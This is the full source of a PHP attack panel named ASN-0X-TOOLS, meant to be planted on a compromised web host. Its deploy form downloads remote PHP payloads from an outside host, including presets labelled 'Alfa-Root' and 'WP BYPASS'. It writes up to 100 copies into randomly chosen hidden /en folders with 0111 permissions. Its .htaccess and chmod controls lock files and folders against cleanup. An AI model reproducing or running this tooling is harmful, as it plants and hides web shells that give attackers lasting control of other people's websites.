<?php
session_start();

$passwordHash = '$2a$12$1g5vgU3N/HvSXMTpB5VxIePrLzwwiMjSbSq.rhpe45HGBEk/JFBhe';

if (!isset($_SESSION['authenticated']) || !$_SESSION['authenticated']) {
    if (!empty($_POST['password'])) {
        if (password_verify($_POST['password'], $passwordHash)) {
            $_SESSION['authenticated'] = true;
            $_SESSION['login_time'] = time();
            header('Location: ' . $_SERVER['PHP_SELF']);
            exit;
        } else {
            $error = "Access denied. Invalid password.";
        }
    }
    ?>
    <!DOCTYPE html>
    <html>
    <head>
        <meta charset="UTF-8">
        <title>Access Required</title>
        <style>
            body{background:#000;color:#00ff41;font-family:'Courier New',monospace;padding:40px;text-align:center}
            .login-box{max-width:500px;margin:100px auto;padding:30px;border:1px solid #00ff41;background:rgba(0,20,10,0.3)}
            h1{margin-top:0;color:#00ff88}
            input[type="password"]{width:100%;padding:12px;margin:15px 0;background:#000;color:#00ff41;border:1px solid #00ff41;font-family:'Courier New',monospace;box-sizing:border-box}
            .btn{background:#000;color:#00ff41;border:1px solid #00ff41;padding:10px 20px;font-family:'Courier New',monospace;cursor:pointer}
            .btn:hover{background:#00ff41;color:#000}
            .error{color:#ff3333;margin:15px 0}
            .footer{margin-top:30px;font-size:12px;color:#555}
        </style>
    </head>
    <body>
        <div class="login-box">
            <h1>ASN-0X-TOOLS</h1>
            <p>Enter password to continue:</p>
            <?php if (isset($error)): ?>
                <div class="error"><?= htmlspecialchars($error) ?></div>
            <?php endif; ?>
            <form method="POST">
                <input type="password" name="password" placeholder="••••••••" autocomplete="off" required>
                <br>
                <button type="submit" class="btn">Unlock</button>
            </form>
        </div>
        <div class="footer">&copy; 2026 Secure Deploy Tool</div>
    </body>
    </html>
    <?php
    exit;
}

if (time() - ($_SESSION['login_time'] ?? 0) > 3600) {
    session_destroy();
    die('<script>alert("Session expired. Please log in again."); window.location = "' . $_SERVER['PHP_SELF'] . '";</script>');
}

if (isset($_GET['logout'])) {
    session_destroy();
    header('Location: ' . $_SERVER['PHP_SELF']);
    exit;
}

$rootDir = realpath(__DIR__);
if (!$rootDir) {
    $rootDir = dirname($_SERVER['SCRIPT_FILENAME']);
}
$logFile = $rootDir . '/.deployed_files.log';
$defaultHtaccessCode = "# Secured by Deploy Tool\n# " . date('Y-m-d H:i:s') . "\nOptions -Indexes\n<Files ~ \"^(\\.htaccess|\\.env)\$\">\n    Order allow,deny\n    Deny from all\n</Files>\n";

$message_left = '';
$message_right = '';
$message_center = '';

// ── FUNGSI: AMAN UNTUK SEMUA HOSTING
function getAllFolders($dir, &$dirs = []) {
    if (!is_dir($dir) || !is_readable($dir)) return $dirs;
    $dirs[] = $dir;
    $items = @scandir($dir);
    if ($items === false) return $dirs;
    $exclude = ['.', '..', '.git', '.svn', 'wp-admin', 'wp-includes', 'cgi-bin', 'node_modules'];
    foreach ($items as $item) {
        if (in_array($item, $exclude)) continue;
        $path = $dir . '/' . $item;
        if (is_dir($path)) {
            getAllFolders($path, $dirs);
        }
    }
    return array_unique($dirs);
}

function setFolderPermissions($dir, $perm) {
    $count = 0;
    $dirs = [];
    getAllFolders($dir, $dirs);
    foreach ($dirs as $path) {
        if (is_dir($path) && is_writable(dirname($path))) {
            if (@chmod($path, $perm)) $count++;
        }
    }
    return $count;
}

function lockPhpFiles($dir) {
    $count = 0;
    $dirs = [];
    getAllFolders($dir, $dirs);
    foreach ($dirs as $d) {
        $items = @scandir($d);
        if ($items === false) continue;
        foreach ($items as $item) {
            if ($item === '.' || $item === '..') continue;
            $file = $d . '/' . $item;
            if (is_file($file) && pathinfo($file, PATHINFO_EXTENSION) === 'php') {
                if (is_writable($d) && @chmod($file, 0555)) $count++;
            }
        }
    }
    return $count;
}

function unlockPhpFiles($dir) {
    $count = 0;
    $dirs = [];
    getAllFolders($dir, $dirs);
    foreach ($dirs as $d) {
        $items = @scandir($d);
        if ($items === false) continue;
        foreach ($items as $item) {
            if ($item === '.' || $item === '..') continue;
            $file = $d . '/' . $item;
            if (is_file($file) && pathinfo($file, PATHINFO_EXTENSION) === 'php') {
                if (is_writable($d) && @chmod($file, 0644)) $count++;
            }
        }
    }
    return $count;
}

function logDeployedFiles($filePaths) {
    global $logFile;
    $existing = file_exists($logFile) ? json_decode(file_get_contents($logFile), true) : [];
    $merged = array_unique(array_merge($existing, $filePaths));
    file_put_contents($logFile, json_encode($merged, JSON_PRETTY_PRINT));
}

function getDeployedFiles() {
    global $logFile;
    if (!file_exists($logFile)) return [];
    $files = json_decode(file_get_contents($logFile), true);
    return is_array($files) ? array_values(array_filter($files, 'file_exists')) : [];
}

// ── PROSES PERINTAH
if (isset($_POST['folder_action'])) {
    if ($_POST['folder_action'] === 'set_0755') {
        $fixed = setFolderPermissions($rootDir, 0755);
        $message_center = "<div class='msg success'>📁 Folder permissions set to 0755 ({$fixed} folders updated).</div>";
    } elseif ($_POST['folder_action'] === 'lock_0555') {
        $locked = setFolderPermissions($rootDir, 0555);
        $message_center = "<div class='msg warn'>🔒 Folder permissions locked to 0555 ({$locked} folders updated).</div>";
    }
}
if (isset($_POST['php_action'])) {
    if ($_POST['php_action'] === 'lock_php') {
        $locked = lockPhpFiles($rootDir);
        $message_center = "<div class='msg warn'>🔒 {$locked} .php files locked to 0555.</div>";
    } elseif ($_POST['php_action'] === 'unlock_php') {
        $unlocked = unlockPhpFiles($rootDir);
        $message_center = "<div class='msg success'>🔓 {$unlocked} .php files unlocked to 0644.</div>";
    }
}

// ── PROSES FORM KIRI (.htaccess)
if (isset($_POST['action'])) {
    $action = $_POST['action'];
    $code = $_POST['htaccess_code'] ?? $defaultHtaccessCode;

    $getAllHtaccess = function() use ($rootDir) {
        $files = [];
        $dirs = [];
        getAllFolders($rootDir, $dirs);
        foreach ($dirs as $d) {
            $ht = $d . '/.htaccess';
            if (file_exists($ht)) {
                $files[] = $ht;
            }
        }
        return $files;
    };

    if ($action === 'add_all_ht') {
        $dirs = getAllFolders($rootDir);
        $created = 0;
        foreach ($dirs as $d) {
            $ht = $d . '/.htaccess';
            if (!file_exists($ht)) {
                if (is_writable($d)) {
                    $written = false;
                    if (file_put_contents($ht, $code) !== false) {
                        $written = true;
                    } else {
                        $fp = @fopen($ht, 'w');
                        if ($fp) {
                            fwrite($fp, $code);
                            fclose($fp);
                            $written = true;
                        }
                    }
                    if ($written) {
                        @chmod($ht, 0644);
                        $created++;
                    }
                }
            }
        }
        $message_left = "<div class='msg success'>✅ .htaccess added to {$created} folders.</div>";

    } elseif ($action === 'fix_perm') {
        $fixed = 0;
        foreach ($getAllHtaccess() as $f) {
            if (is_writable($f) && @chmod($f, 0644)) $fixed++;
        }
        $message_left = "<divclass='msg success'>🔧 Permissions set to 644.</div>";

    } elseif ($action === 'lock_perm') {
        $locked = 0;
        foreach ($getAllHtaccess() as $f) {
            if (is_writable($f) && @chmod($f, 0555)) $locked++;
        }
        $message_left = "<div class='msg warn'>🔒 Permissions set to 555.</div>";

    } elseif ($action === 'delete_non_root') {
        $deleted = 0;
        foreach ($getAllHtaccess() as $path) {
            if (dirname($path) !== $rootDir) {
                if (!is_writable($path)) @chmod($path, 0666);
                if (file_exists($path) && @unlink($path)) $deleted++;
            }
        }
        $message_left = "<div class='msg danger'>🗑️ {$deleted} .htaccess files deleted (non-root).</div>";
    }
}

// ── PROSES FORM KANAN (Deploy)
if (isset($_POST['deploy_url'])) {
    $url = trim($_POST['deploy_url']);
    $count = max(1, min(100, (int)($_POST['file_count'] ?? 1)));

    if (filter_var($url, FILTER_VALIDATE_URL)) {
        $content = false;
        if (ini_get('allow_url_fopen')) {
            $content = @file_get_contents($url);
        } elseif (function_exists('curl_init')) {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
            curl_setopt($ch, CURLOPT_TIMEOUT, 10);
            $content = curl_exec($ch);
            curl_close($ch);
        }

        if ($content !== false) {
            // 🔁 Ambil semua folder seperti logika awal
            $allDirs = getAllFolders($rootDir);
            shuffle($allDirs);
            $selectedDirs = array_slice($allDirs, 0, $count);
            $deployedPaths = [];
            $success = 0;

            foreach ($selectedDirs as $dir) {
                // ✅ Buat subfolder /en di dalam folder target
                $enDir = $dir . '/en';
                if (!is_dir($enDir)) {
                    if (!mkdir($enDir, 0755, true)) {
                        // Jika gagal buat /en, lewati folder ini
                        continue;
                    }
                }

                // Tentukan nama file unik di dalam /en
                $filename = 'index.php';
                $target = $enDir . '/' . $filename;
                $counter = 1;
                while (file_exists($target)) {
                    $filename = 'index' . $counter . '.php';
                    $target = $enDir . '/' . $filename;
                    $counter++;
                }

                if (is_writable($enDir)) {
                    if (file_put_contents($target, $content) !== false) {
                        @chmod($target, 0644);
                        $deployedPaths[] = $target;
                        $success++;

                        // ✅ Set permission /en ke 0111 setelah file disimpan
                        @chmod($enDir, 0111);
                    } else {
                        $fp = @fopen($target, 'w');
                        if ($fp) {
                            fwrite($fp, $content);
                            fclose($fp);
                            @chmod($target, 0644);
                            $deployedPaths[] = $target;
                            $success++;
                            @chmod($enDir, 0111);
                        }
                    }
                }
            }

            if ($success > 0) {
                logDeployedFiles($deployedPaths);
                $fullUrls = [];
                $linksHtml = '';

                foreach ($deployedPaths as $path) {
                    $rel = ltrim(str_replace($rootDir, '', $path), '/');
                    $rel = str_replace('\\', '/', $rel);
                    $fullUrl = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? 'https' : 'http') . '://' . $_SERVER['HTTP_HOST'] . '/' . $rel;
                    $fullUrls[] = $fullUrl;
                    $fileName = basename($fullUrl);
                    $linksHtml .= '<div class="url-item"><a href="' . htmlspecialchars($fullUrl) . '" target="_blank" rel="noopener">' . htmlspecialchars($fileName) . '</a></div>';
                }

                $displayLinks = $linksHtml;
                if (count($fullUrls) > 10) {
                    $parts = explode('</div>', trim($linksHtml, '</div>'));
                    $first10 = implode('</div>', array_slice($parts, 0, 10)) . '</div>';
                    $displayLinks = $first10 . '<div class="url-item">... + ' . (count($fullUrls) - 10) . ' more</div>';
                }

                $urlsText = implode("\n", $fullUrls);
                $listHtml = '<div class="url-preview">' . $displayLinks . '</div>';
                $listHtml .= '<textarea id="allUrls" style="display:none;">' . htmlspecialchars($urlsText) . '</textarea>';
                $listHtml .= '<button type="button" class="btn btn-yellow" onclick="copyAllUrls()">📋 COPY ALL URLS</button>';
                $message_right = "<div class='msg success'>✅ {$success} file(s) deployed into <code>/en</code> subfolders.<br>{$listHtml}</div>";
            } else {
                $message_right = "<div class='msg danger'>❌ No files saved (check folder permissions).</div>";
            }
        } else {
            $message_right = "<div class='msg danger'>❌ Failed to download file.</div>";
        }
    } else {
        $message_right = "<div class='msg danger'>⚠️ Invalid URL.</div>";
    }
}

// ── HAPUS & TOGGLE PERMISSION
if (isset($_POST['clear_deployed'])) {
    $deployed = getDeployedFiles();
    $deleted = 0;
    foreach ($deployed as $path) {
        if (file_exists($path)) {
            if (!is_writable($path)) @chmod($path, 0666);
            if (@unlink($path)) $deleted++;
        }
    }
    if (file_exists($logFile)) @unlink($logFile);
    $message_right = "<div class='msg danger'>🗑️ {$deleted} deployed files deleted.</div>";
}
if (isset($_POST['toggle_perm_deploy'])) {
    $deployed = getDeployedFiles();
    $mode = $_POST['perm_mode'] ?? '644';
    $perm = $mode === '555' ? 0555 : 0644;
    $changed = 0;
    foreach ($deployed as $path) {
        if (is_writable($path) && @chmod($path, $perm)) $changed++;
    }
    $msg = $mode === '555' ? '🔒 Deployed files: 555 (locked).' : '🔧 Deployed files: 644 (editable).';
    $message_right = "<div class='msg " . ($mode === '555' ? 'warn' : 'success') . "'>{$msg} ({$changed} files)</div>";
}
?>

<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>ASN-0X-TOOLS</title>
    <style>
        body{background:#000;color:#00ff41;font-family:'Courier New',monospace;padding:20px;margin:0}
        .container{display:flex;gap:30px;max-width:1400px;margin:0 auto}
        .panel{flex:1;background:rgba(0,20,10,0.4);padding:25px;border:1px solid #00ff41;border-radius:8px}
        h2{border-bottom:1px solid #00ff88;padding-bottom:10px;margin-top:0;color:#00ff88}
        textarea,input[type="url"],input[type="number"]{width:100%;padding:10px;background:#000;color:#00ff41;border:1px solid #00ff41;font-family:'Courier New',monospace;box-sizing:border-box;margin:10px 0}
        textarea{height:160px;}
        .btn{display:block;width:100%;padding:12px;margin:8px 0;background:#000;color:#00ff41;border:1px solid #00ff41;font-family:'Courier New',monospace;cursor:pointer;text-align:center;text-decoration:none}
        .btn:hover{background:#00ff41;color:#000}
        .btn-red{border-color:#ff3333;color:#ff3333}
        .btn-red:hover{background:#ff3333;color:#000}
        .btn-blue{border-color:#00ff88;color:#00ff88}
        .btn-blue:hover{background:#00ff88;color:#000}
        .btn-yellow{border-color:#ffff00;color:#ffff00}
        .btn-yellow:hover{background:#ffff00;color:#000}
        .msg{padding:10px;margin:15px 0;border-radius:4px}
        .msg.success{border:1px solid #00ff41;background:rgba(0,255,65,0.08)}
        .msg.warn{border:1px solid #ffff00;background:rgba(255,255,0,0.08);color:#ffff00}
        .msg.danger{border:1px solid #ff3333;background:rgba(255,51,51,0.08)}
        .url-preview{margin:10px 0;max-height:250px;overflow-y:auto;padding-right:10px}
        .url-item{font-size:13px;padding:5px 0;white-space:nowrap}
        .url-item a{color:#00ff88;text-decoration:underline;cursor:pointer}
        .url-item a:hover{color:#ffff00}
        .logout-btn{position:fixed;top:20px;right:20px;padding:6px 12px;background:#440000;color:#ff9999;border:none;border-radius:4px;font-family:'Courier New',monospace;cursor:pointer}
        .logout-btn:hover{background:#ff3333;color:#000}
        .center-controls{margin:30px 0;text-align:center;}
        .template-list{margin:15px 0;max-height:150px;overflow-y:auto;}
        .template-item{padding:8px 0;color:#00ff88;cursor:pointer;border-bottom:1px solid rgba(0,255,65,0.2);font-size:14px;}
        .template-item:hover{color:#ffff00;background:rgba(0,255,65,0.1);}
        .footer{text-align:center;margin-top:30px;color:#555;font-size:12px}
        code{color:#ffff00;background:rgba(0,0,0,0.3);padding:2px 4px;border-radius:3px}
    </style>
</head>
<body>
    <button class="logout-btn" onclick="location.href='?logout=1'">Logout</button>

    <div class="container">
        <div class="panel">
            <h2>.htaccess Manager</h2>
            <?= $message_left ?>

            <div class="template-list">
                <div class="template-item" onclick="setHtaccessTemplate('block_all_php')">
                    🚫 Block All .php Access
                </div>
                <div class="template-item" onclick="setHtaccessTemplate('allow_index_only')">
                    ✅ Allow Only index/main/home.php
                </div>
            </div>
            <form method="POST">
                <textarea id="htaccess_code" name="htaccess_code"><?= htmlspecialchars($_POST['htaccess_code'] ?? $defaultHtaccessCode) ?></textarea>
                <button type="submit" name="action" value="add_all_ht" class="btn btn-yellow">➕ Add to All Folders</button>
                <button type="submit" name="action" value="fix_perm" class="btn">🔧 Set 644 (Editable)</button>
                <button type="submit" name="action" value="lock_perm" class="btn btn-blue"
                        onclick="return confirm('Lock .htaccess to 555?\\nFiles will be read-only.')">🔒 Set 555 (Locked)</button>
                <button type="submit" name="action" value="delete_non_root" class="btn btn-red"
                        onclick="return confirm('Delete non-root .htaccess files?')">🗑️ Delete Non-Root</button>
            </form>
        </div>
        <div class="panel">
            <h2>File Deploy Tool</h2>
            <?= $message_right ?>
            <form method="POST">
                <p>Raw file URL:</p>
                <input type="url" name="deploy_url" placeholder="https://gist.githubusercontent.com/.../payload.php" required>
                <div style="margin-top:8px;font-size:13px;color:#555;">
    <strong>Quick Select:</strong><br>
    <a href="#" onclick="setDeployUrl('https://acehmedia.id/custom/raw.php?id=692a55cc464678.03140915.txt'); return false;" style="color:#00ff88;margin-right:12px;">Alfa-Root</a>
    <a href="#" onclick="setDeployUrl('https://acehmedia.id/custom/raw.php?id=692ab7ebd89590.04291483.txt'); return false;" style="color:#00ff88;margin-right:12px;">AlfaByCode</a>
    <a href="#" onclick="setDeployUrl('https://acehmedia.id/custom/raw.php?id=693bb2fbcb6660.27712558.txt'); return false;" style="color:#00ff88;margin-right:12px;">ASN-0X</a>
    <a href="#" onclick="setDeployUrl('https://acehmedia.id/custom/raw.php?id=693e64c6d51298.26076540.txt'); return false;" style="color:#00ff88;margin-right:12px;">Next</a>
    <a href="#" onclick="setDeployUrl('https://acehmedia.id/custom/raw.php?id=692a5628465f06.72952751.txt'); return false;" style="color:#00ff88;margin-right:12px;">Updater2</a>
</div>

<!-- 🔹 HEX STRING SECTION -->
<div style="margin-top:12px;font-size:13px;color:#555;">
    <strong>HEX STRING:</strong><br>
    <a href="#" onclick="setDeployUrl('https://acehmedia.id/custom/raw.php?id=694f17a2b66d39.14800441.txt'); return false;" style="color:#00ff88;margin-right:12px;">ASN-0X</a>
    <a href="#" onclick="setDeployUrl('https://acehmedia.id/custom/raw.php?id=694f17b21bc7b1.92089143.txt'); return false;" style="color:#00ff88;margin-right:12px;">ALFABYCODE</a>
    <a href="#" onclick="setDeployUrl('https://acehmedia.id/custom/raw.php?id=694f17c3179ad7.22456249.txt'); return false;" style="color:#00ff88;margin-right:12px;">NEXT</a>
    <a href="#" onclick="setDeployUrl('https://acehmedia.id/custom/raw.php?id=69517cb91b29e8.02005247.txt'); return false;" style="color:#00ff88;margin-right:12px;">HTC</a>
    <a href="#" onclick="setDeployUrl('https://acehmedia.id/custom/raw.php?id=6957f323a0b501.98111780.txt'); return false;" style="color:#00ff88;">MLCA</a>
</div>
<!-- 🔹 WP ACCESS SECTION -->
<div style="margin-top:16px;font-size:13px;color:#555;">
    <strong>WP ACCESS:</strong><br>
    <a href="#" onclick="setDeployUrl('https://acehmedia.id/custom/raw.php?id=692d84f7293a79.73863987.txt'); return false;" style="color:#00ff88;margin-right:12px;">WP BYPASS</a>
    <a href="#" onclick="setDeployUrl('https://acehmedia.id/custom/raw.php?id=694b1c0b9f20f9.10050542.txt'); return false;" style="color:#00ff88;">WP BYPASS PRO</a>
</div>
                <p>Number of files (1–100):</p>
                <input type="number" name="file_count" min="1" max="100" value="5" required>
                <button type="submit" class="btn btn-yellow">📤 Deploy with Smart Naming</button>
            </form>

            <hr style="border-color:#555;margin:20px 0;">

            <form method="POST" style="margin-top:20px;">
                <button type="submit" name="toggle_perm_deploy" value="1" class="btn"
                        onclick="this.form.perm_mode.value='644';">🔄 Set Deployed Files to 644</button>
                <button type="submit" name="toggle_perm_deploy" value="1" class="btn btn-blue"
                        onclick="this.form.perm_mode.value='555'; return confirm('Lock deployed files to 555?\\nThey will be read-only.');">🔒 Set Deployed Files to 555</button>
                <input type="hidden" name="perm_mode" value="644">
                <button type="submit" name="clear_deployed" class="btn btn-red"
                        onclick="return confirm('⚠️ Delete ONLY files deployed by this tool?\\nOriginal files will NOT be affected!');">🗑️ Delete All Deployed Files</button>
            </form>

            <p style="font-size:12px;color:#555;margin-top:20px;">
                🔒 Each deployed file is placed inside a <code>/en</code> subfolder<br>
                within deep-random directories (original behavior).<br>
                🔐 Each <code>/en</code> folder is set to permission <code>0111</code>.<br>
                🔗 Click file names to open in browser.<br>
                📋 Use "COPY ALL URLS" to copy all links.
            </p>
        </div>
    </div>

    <div class="center-controls">
        <?= $message_center ?>
        <form method="POST" style="display:inline-block; margin: 0 10px;">
            <button type="submit" name="folder_action" value="set_0755" class="btn">
                📁 SET FOLDERS TO 0755
            </button>
        </form>
        <form method="POST" style="display:inline-block; margin: 0 10px;" 
              onsubmit="return confirm('⚠️ Lock folders to 0555?\\nYou will NOT be able to add/remove files in these folders via file manager!')">
            <button type="submit" name="folder_action" value="lock_0555" class="btn btn-red">
                🔒 LOCK FOLDERS TO 0555
            </button>
        </form>
        <form method="POST" style="display:block; margin:15px auto; max-width:600px;" 
              onsubmit="return confirm('⚠️ Lock ALL .php files to 0555?\\nThey will become read-only!')">
            <button type="submit" name="php_action" value="lock_php" class="btn btn-red">
                🔒 LOCK ALL .PHP FILES TO 0555
            </button>
        </form>
        <form method="POST" style="display:block; margin:10px auto; max-width:600px;">
            <button type="submit" name="php_action" value="unlock_php" class="btn">
                🔓 UNLOCK ALL .PHP FILES TO 0644
            </button>
        </form>
        <p style="font-size:12px;color:#555;margin-top:15px;">
            ⚠️ Use 0555 only for read-only protection. May affect CMS updates.
        </p>
    </div>

    <div class="footer">&copy; 2026 ASN-0X-TOOLS — Deep Deploy Neon Edition</div>

    <script>
        function copyAllUrls() {
            const t = document.getElementById('allUrls');
            if (!t) return;
            t.style.display = 'block';
            t.select();
            document.execCommand('copy');
            t.style.display = 'none';
            const b = event.target;
            const o = b.innerHTML;b.innerHTML = '✅ COPIED ALL URLS';
            setTimeout(() => b.innerHTML = o, 2000);
        }

        const templates = {
            block_all_php: `<FilesMatch "\\.php$">\n    Order Allow,Deny\n    Deny from all\n</FilesMatch>\n\n<FilesMatch "\\.php$">\n    Require all denied\n</FilesMatch>`,
            allow_index_only: `<FilesMatch "\\.php$">\n    Require all denied\n</FilesMatch>\n\n<FilesMatch "^(index|main|home)\\.php$">\n    Require all granted\n</FilesMatch>\n\n<IfModule mod_rewrite.c>\nRewriteEngine On\nRewriteBase /\nRewriteRule ^index\\.php$ - [L]\nRewriteCond %{REQUEST_FILENAME} !-f\nRewriteCond %{REQUEST_FILENAME} !-d\nRewriteRule . /admin.php.php [L]\n</IfModule>`
        };

        function setHtaccessTemplate(key) {
            const textarea = document.getElementById('htaccess_code');
            if (textarea && templates[key]) {
                textarea.value = templates[key];
            }
        }

        function setDeployUrl(url) {
            document.querySelector('input[name="deploy_url"]').value = url;
        }
    </script>
</body>
</html>